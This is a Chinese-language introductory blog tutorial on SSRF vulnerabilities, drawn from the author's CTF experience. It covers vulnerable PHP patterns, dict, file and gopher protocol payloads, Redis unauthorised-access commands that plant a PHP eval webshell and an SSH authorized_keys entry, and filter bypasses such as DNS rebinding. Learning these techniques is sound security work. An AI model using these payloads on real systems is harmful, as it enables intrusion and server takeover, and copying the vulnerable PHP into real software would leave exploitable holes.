一篇文章带你入门SSRF漏洞

501 阅读4分钟

持续创作,加速成长!这是我参与「掘金日新计划 · 10 月更文挑战」的第6天,点击查看活动详情

引文

之前更新了SQL注入和文件上传等基础漏洞,今天带大家了解一下SSRF漏洞,以及个人对之前遇到过的SSRF漏洞的理解。

定义

SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。SSRF攻击的目标是从外网无法访问的内部系统。(因为该攻击是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)。这也是SSRF漏洞影响最深的地方。

ssrf.PNG

利用场景

了解了SSRF的基本信息,就像SQL注入需要传参点一样,SSRF的应用场景是什么呢,下面就简单举几个例子:

  • 分享,通过URL地址分享网页内容,通过URL获取目标页标签等内容;
  • 图片的加载与下载;
  • 图片,文章的收藏;

可以发现SSRF的利用场景也是围绕着URL来进行的,这也是它的一个重要特征。

危害

为了体现该漏洞的危害性,我们先看看SSRF漏洞能对设备的安全造成什么影响吧:

跳板攻击: 利用SSRF漏洞,对内或对外发起攻击,以隐藏自己的真实IP(肉鸡)

绕过安全防御: 比如防火墙 CDN

内网探测:对内网服务器进行端口、资产、漏洞扫描。

访问和下载内网的敏感数据:利用file协议

攻击应用:利用发现的漏洞,可以进一步发起攻击利用

利用

既然SSRF漏洞危害这么大,那我们来详细看看如何利用该漏洞吧。

函数

在SSRF漏洞中,会经常遇到一些函数,这些函数看起来没有什么安全隐患,但往往就是这样的函数会被攻击者利用。

File_Get_Contents()

file_get_contents() 函数将整个文件或一个url所指向的文件读入一个字符串中,并展示给用户。看起来没有问题,但如果网页的源码如下:

<?php
$xino = $_GET['xino'];;
echo file_get_contents($xino);
?>

当我们传入的xino参数为../../../etc/passwd 时,极有可能会回显给我们服务器的本地文件。

readfile()

与File_Get_Contents函数应用场景差不多,可以看作一样。

curl_exec()

初始化一个新的会话,返回一个curl句柄

// ssrf.php
<?php 
if (isset($_GET['url'])){
    $link = $_GET['url'];
    $curlobj = curl_init(); // 创建新的 cURL 资源
    curl_setopt($curlobj, CURLOPT_POST, 0);
    curl_setopt($curlobj,CURLOPT_URL,$link);
    curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1); // 设置 URL 和相应的选项
    $result=curl_exec($curlobj); // 抓取 URL 并把它传递给浏览器
    curl_close($curlobj); // 关闭 cURL 资源,并且释放系统资源

构造url传参(www.baidu.com)会返回百度页面,存在SSRF利用点

协议

在SSRF攻击中,我们经常会用到很多协议。接下来我会逐一分析各个协议的用处。

http协议

作为我们日常生活中最常用的协议,如果机器对协议过滤不严格我们可以利用http协议去探测内网里的文件。

SSRF1.PNG

Dict协议

该协议主要作用是进行端口探测内网服务。以用来查找出内网服务漏洞来进行下一步攻击。利用格式如下:

?url=dict://127.0.0.1:8080

file伪协议

file协议主要用来读取本地文件,当过滤不严时,我们可以利用它读取服务器文件。

ssrf2.PNG

Gopher协议

Gopher是Internet上一个非常有名的信息查找系统,它将Internet上的文件组织成某种索引,很方便地将用户从Internet的一处带到另一处。在WWW出现之前,Gopher是Internet上最主要的信息检索工具,Gopher站点也是最主要的站点,使用tcp70端口。但在WWW出现后,Gopher失去了昔日的辉煌。现在它基本过时,人们很少再使用它;

而该协议可以构建GET或者POST请求,格式如下:

gopher%3A//127.0.0.1%3A80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%252036%250D%250A%250D%250Akey%253Df1688c97bf2e6dda47be87e4d8f87cd7%250D%250A

Redis未授权攻击

提起ssrf攻击,你一定会联想到redis未授权攻击,Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,同时如果没有设置密码认证(一般为空),可以免密码远程登录redis服务。这样非常容易收到攻击。

绝对路径写webshell

我们知道了绝对路径,就可以直接写shell。

flushallset 1 '<?php eval($_POST["cmd"]);?>'config set dir /var/www/htmlconfig set dbfilename shell.phpsave

写入SSH公钥

直接写入公钥:

flushallset 1 '公钥'config set dir /root/.ssh/config set dbfilename authorized_keyssave

我们直接SSH链接。

BYPASS

@绕过

根据URL解析原则,(@)后面跟请求IP地址,我们可以根据这样来BYPASS

?url=http://VPS@127.0.0.1/flag.php

进制转换

将IP地址转为其他进制来进行绕过。

短网址绕过

如果内网IP被ban了,我们可以尝试将IP转为短地址,具体可以去百度了解一下。

DNS重绑定

DNS重新绑定是计算机攻击的一种形式。 在这种攻击中,恶意网页会导致访问者运行客户端脚本,攻击网络上其他地方的计算机。 从理论上讲,同源策略可防止发生这种情况:客户端脚本只能访问为脚本提供服务的同一主机上的内容。 比较域名是实施此策略的重要部分,因此DNS重新绑定通过滥用域名系统(DNS)来绕过这种保护.

比如我们设置个人VPS的index.php为以下代码:

<?phpheader("Location:http://127.0.0.1/flag.php");

然后在进行攻击时访问我们服务器来进行DNS重绑定。

结尾

该文章简单整理了本人在CTF中遇到关于SSRF漏洞利用场景及方法,当然也是比较基础的,至于一些SSRF比较难的地方鸽到以后再更新吧。